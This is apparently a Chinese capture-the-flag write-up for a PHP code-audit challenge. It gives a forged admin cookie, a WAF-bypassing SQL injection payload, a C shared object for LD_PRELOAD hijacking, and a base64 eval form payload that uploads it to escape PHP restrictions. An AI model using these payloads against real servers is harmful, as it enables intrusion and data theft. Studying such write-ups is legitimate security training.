Virink's Blog logo

Virink's Blog

Let life be beautiful like summer flowers, and death like autume leaves.

 三個白帽【¥-1】招聘又开始了,你怕了吗? Writeup

挑战介绍

审计题,源码在/www.zip下,有waf,就是这么自信。什么,这个网站你见过?那我也不怕,网站升级了!

第一個坑 密码怎么会告诉你

進入後臺是通過cookie認證,表示默默地遇到了火日大大的坑。

encrypt.php

$pass="密码怎么会告诉你";

事實上,這就是真正的密鑰。

echo encrypt("admin")

生成的字符串寫入cookie,就繞過了。

username=AH0HDvW_h0kclJrjHQmjxs8qiHJEU2UqBJ7NGfQhtxI

第二個坑 SQL注入

漏洞來源:

http://www.wooyun.org/bugs/wooyun-2010-064792
http://www.wooyun.org/bugs/wooyun-2010-0171945

waf.php

$uri = explode("?",$_SERVER['REQUEST_URI']);
if(isset($uri[1])) {
    $parameter = explode("&",$uri[1]);
    foreach ($parameter as $k => $v) {
        $v1 = explode("=",$v);
        if (isset($v1[1])) {
            $_REQUEST[$v1[0]] = stripStr($v1[1]);
        }
    }
}

/admin/waf.php

$sql="select * from user where id=".$_REQUEST["id"].";";

/admin/memo.php

注釋了備忘錄,所以要注入,讀取備忘錄信息。

構造Payload:

/admin/user.php?id=-1/**/union/**/select/**/1,1,1,content,1/**/from/**/memo/**/limit/**/0,1& id=1

得到信息

/NQTGmhlG3im8PUcsO2GgMCieThLtbqi4.php
password:firesun

第三個坑 putenv LD_PRELOAD

這個和alictf差不多、直接給出payload!

v.c

#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<dirent.h>

int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    ///flag_gei_ni_ni_Ye_du_bu_LIAO
    FILE *fp1, *fp2;
    fp1 = fopen("/tmp/virink", "w");
    //dir
    char buf[100];
    DIR *dirp;
    struct dirent *dp;
    dirp = opendir("/");
    while ((dp = readdir(dirp)) != NULL) {
        fputs(dp->d_name, fp1);
    }
    closedir(dirp);
    //flag
    fp2 = fopen("/flag_gei_ni_ni_Ye_du_bu_LIAO", "r");
    fgets(buf, 100, fp2);
    fputs(buf, fp1);
    fclose(fp1);
    fclose(fp2);
}

分別生成讀目錄,讀文件兩個so。

exp.php

<form action="http://451bf8ea3268360ee.jie.sangebaimao.com/NQTGmhlG3im8PUcsO2GgMCieThLtbqi4.php"  method="post" enctype="multipart/form-data">
<input type="text" name="firesun" id="v" value="eval(base64_decode('aWYoaXNzZXQoJF9GSUxFU1sndiddKSkgew0KCXByaW50X3IoJF9GSUxFUyk7DQoJbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3YnXVsndG1wX25hbWUnXSwgIi90bXAvIi4kX0ZJTEVTWyd2J11bJ25hbWUnXSk7DQoJdmFyX2R1bXAoZmlsZV9leGlzdHMoIi90bXAvIi4kX0ZJTEVTWyd2J11bJ25hbWUnXSkpOw0KCXB1dGVudigiTERfUFJFTE9BRD0vdG1wLyIuJF9GSUxFU1sndiddWyduYW1lJ10pOw0KCXZhcl9kdW1wKG1haWwoImFAbG9jYWxob3N0IiwiIiwiIiwiIiwiIikpOw0KCWVjaG8gZ2V0ZW52KCJMRF9QUkVMT0FEIik7DQoJc2hvd19zb3VyY2UoIi90bXAvdmlyaW5rIik7DQp9'));"/>
<input type="file" name="v" id="v" />
<input type="submit" name="submit" value="Submit" />
</form>

通過exp.php分別上傳兩個so就OK了。

關於讀取文件,用show_source

flag:miao{5U5QqpSG6b8XcW7JmXLLzMQj1mKTT7XO}

本文标题 : 三個白帽【¥-1】招聘又开始了,你怕了吗? Writeup
文章作者 : Virink
发布时间 :  
最后更新 :  
本文链接 : https://www.virzz.com/2016/09/08/three_white_hats_are_you_afraid_of_recruitment_again.html
转载声明 : 转载请保留原文链接及作者。
转载说明 : 本卡片有模板生成,本人转载来的文章请忽略~~